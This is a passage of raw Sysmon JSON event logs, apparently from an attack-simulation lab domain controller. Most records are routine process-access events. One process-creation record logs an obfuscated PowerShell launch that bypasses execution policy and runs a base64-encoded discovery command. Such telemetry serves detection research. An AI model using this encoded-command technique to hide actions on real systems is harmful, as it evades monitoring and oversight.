C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2553,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2554,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2555,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2556,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2557,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2558,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2559,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-4009-5F2D-0000-00105E650400}\r\nSourceProcessId: 4708\r\nSourceThreadId: 4728\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-400A-5F2D-0000-00109A670400}\r\nTargetProcessId: 4772\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-4009-5F2D-0000-00105E650400}","SourceProcessId":"4708","SourceThreadId":"4728","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-400A-5F2D-0000-00109A670400}","TargetProcessId":"4772","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2560,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.036\r\nProcessGuid: {90617006-400A-5F2D-0000-001065680400}\r\nProcessId: 4784\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4009-5F2D-0000-0020AF640400}\r\nLogonId: 0x464AF\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-400A-5F2D-0000-00109A670400}\r\nParentProcessId: 4772\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.036","ProcessGuid":"{90617006-400A-5F2D-0000-001065680400}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 